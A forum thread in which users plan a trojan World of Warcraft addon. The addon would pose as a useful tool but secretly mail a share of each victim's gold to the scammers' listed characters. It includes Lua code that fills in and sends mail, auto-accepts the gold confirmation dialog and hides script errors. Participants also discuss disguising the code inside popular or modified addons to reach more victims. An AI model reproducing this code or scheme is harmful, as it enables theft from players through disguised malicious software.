Oblivious Scam

[FallingReign]

As of this moment no more characters will be added to the addon to prepare for release...

However in the future there will be opening for future versions. I'll keep you posted. :wave:

Well the addon is pretty much complete, I wont go into detail of what the addon actually does as that's not the important part.

A quick recap...
Player downloads addon.
The addon will then send 1% of their gold to a specified character every time the visit the mailbox.
Simple...

For all those who are taking part in this, when you receive gold the mail will look like this.
From: (person being scammed).
Subject: Thanks
Body: Enjoy!

Use common sense and please dont reply asking them why they sent you gold. This may seem funny but i have encountered it before.

Current characters added to the script

Alliance:
Aszune = Zarkool
Dath'Remar = Brog
Frostmourne = Nothorde
Gul'Dan = Hairless
Khaz Modan = Oq
Magtheridon = Helicopter

Horde:
Aman'Thul = Demondallas
Arathor = Szeltrak
Dath'Remar = Aelwyn
Frostwolf = Loveshock
Mug'thol = Gupman
Nagrand = Seirande



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Hi all,

Since I’ve completed my Gold Bucket project I have come up with a new scam idea.

Basically I want to make a general simple addon that people will use.
Let’s say for example the new addon hides the main bar. We can call it "BarHider"

Someone just happens to be looking on curse or something and sees "BarHider"
"Cool, a main bar hider. Just what I’ve been looking for"
They proceed to download the addon and install it. It works; the addon hides the main bar just like it’s supposed to.

But little does the player know, in the background when they send mail or go to the mailbox, 1% gold is sent to your character using a hidden script.

Now here’s the reason for this post...
The coding is not the problem. I can make such an addon and I plan too.
What I lack is the idea of an addon that would be popular enough that a lot of people will download.

Here are a few ideas that I have come up with so far:

RaidTargets: An addon that enables you to set raid targets, and target the unit with that icon, for example if you click star it targets the unit with the star.

MetaMaps + Joana: I have recently been adding joana's 1-70 into metamaps so maybe I could compile metamaps and joana's guide with the hidden script?

Simple Games: like simon says of naughts and crosses to play?


I'm just not confident in these addons to be able to reach enough players...

Any ideas???

[Schnurks]

seems like a fun idea but ur gonna have to pray that it's someone on your realm that downloads it.

Not sure but I think that if you ever get caught doing this by the website hosting the file they might report you to your isp or wtv i have no clue, just be safe lol.

Try looking into popular addons like Mobhealth or stuff like that.

gl to you.

[ApeXz]

Best of luck.

Gonna have to make a LOT of level 1 alts, and hope to god that someone on a PVP server is the same faction as you.

Then, hoping that person actively sends out gold would be a different story.

A good idea, but the chances of really profiting is slim. Very slim.

[FallingReign]

Well If you look as an adodn like "Atlas" or something, i know for a fact 90% of my guild have that addon. so if i could create an addon like that then i wouldnt really need to make alot of lvl 1 alts...

As for the person having to actively sending out gold they dont have to..
The addon would be designed to send gold automatically whenever they mail at all.

It all really comes down to how popular the addon is. there is no point if its not a popular addon.

[sineater213]

very very very slim chance of this working but why not try i guess

[Cypher]

Sending gold triggers a confirmation box to stop exactly this type of scam. (Unless I am somehow mistaken)

EDIT: Confirmed

From http://www.wowwiki.com/Mail
A confirmation warning appears, if the message has any money enclosed with the Send Money option selected.

[FallingReign]

Yes it does trigger the confirmation box but you can bypass it with a script...
"StaticPopup_OnClick(StaticPopup1Button1:GetParent(), 1);"

[Cypher]

Sorry, looks like you just got pwnt by Blizz. It's a protected API.

http://www.wowwiki.com/World_of_Warc...Mail_Functions
PROTECTED SetSendMailMoney(amount) - Add money to next mail sent using SendMail(). --Broken by WoW 2.0 changes Mike-N-Go 15 Feb. 2007

Ergo, this is not going to work. Sorry. Thread closed.

(PM Me if you have a reason for it to be reopened, but from a technical standpoint it's impossible)

[Cypher]

Reopened at the request of the OP. He has told me he has a workaround to send the money without using the protected function. I'll open this up and see how it pans out and if it's true and works. (I don't have time to confirm)

[FallingReign]

Here's an example function that I use to work around the protected functions.

function AutoGoldSend()

this = SendMailMailButton;        --changes "this" to the send button in the mailbox
SendMailMoneyGold:SetText("50");     --Sets the text of the gold to be sent to 50 Gold
SendMailNameEditBox:SetText("Charactername");     --The character of the person your sending gold to
SendMailSubjectEditBox:SetText("Subject");     --Sets the subject
SendMailBodyEditBox:SetText("message");      --Sets the message.
        
SendMailMailButton_OnClick();    --Triggerd when the user clicks send. it is the reason "this" has been set to a variable "SendMailMailButton".

StaticPopup_OnClick(StaticPopup1Button1:GetParent(), 1);     -- accepts the confirmation dialog

this = nil;
end

This script will cause a LUA error because another function is called right after it and since we changed "this" to a variable the error occures. hence why this is then set back to nil.

To make the user not notice the errors you could use the following script on an update

ScriptErrors:Hide();


Now back to the task at hand

FallingReign

[Tenni-T]

Make an addon for bank characters.. So you are sure to get the phat lewt :P

Peace, Tenned. ^^

[~Jagris]

Hi all,

Since I’ve completed my Gold Bucket project I have come up with a new scam idea.

Basically I want to make a general simple addon that people will use.
Let’s say for example the new addon hides the main bar. We can call it "BarHider"

Someone just happens to be looking on curse or something and sees "BarHider"
"Cool, a main bar hider. Just what I’ve been looking for"
They proceed to download the addon and install it. It works; the addon hides the main bar just like it’s supposed to.

But little does the player know, in the background when they send mail or go to the mailbox, 1% gold is sent to your character using a hidden script.

Now here’s the reason for this post...
The coding is not the problem. I can make such an addon and I plan too.
What I lack is the idea of an addon that would be popular enough that a lot of people will download.

Here are a few ideas that I have come up with so far:

RaidTargets: An addon that enables you to set raid targets, and target the unit with that icon, for example if you click star it targets the unit with the star.

MetaMaps + Joana: I have recently been adding joana's 1-70 into metamaps so maybe I could compile metamaps and joana's guide with the hidden script?

Simple Games: like simon says of naughts and crosses to play?


I'm just not confident in these addons to be able to reach enough players...

Any ideas???

I say titan bar and CT

[Dragonshadow]

Wow, I want this.

I have no money

[FallingReign]

Make an addon for bank characters.. So you are sure to get the phat lewt :P

Peace, Tenned. ^^

Yes bank characters would be a good target but what exaclty would the addon do is the main thing? not much to actually do on bank characters unless they are for a whole guild..

I dont really want to modify someone elses code also if i can help it such as CT etc... If we can get away with it we should stick to creating our own addon..

But none the less I will continue scratching my head

Great ideas everyone keep em coming. :wave:

[Tcl70]

how about using Ace2 SVN and change some addons ? maybe you change some of most popular addons and release them as beta ??? http://www.wowace.com/wiki/What_is_the_SVN%3F also how about making like this insert a function that when for example you go to IF or ORG sell something like "AFAGAY AP KK" and the ppl whit your modified addon will whisper you so you can target them easy then you offer some item for sale or ask them that the sell you something by COD and then you can whisper something like "i love AP" and the addon will calculate 1-2% of there money and will send it to you , also can any 1 post good tutorials links for lua ?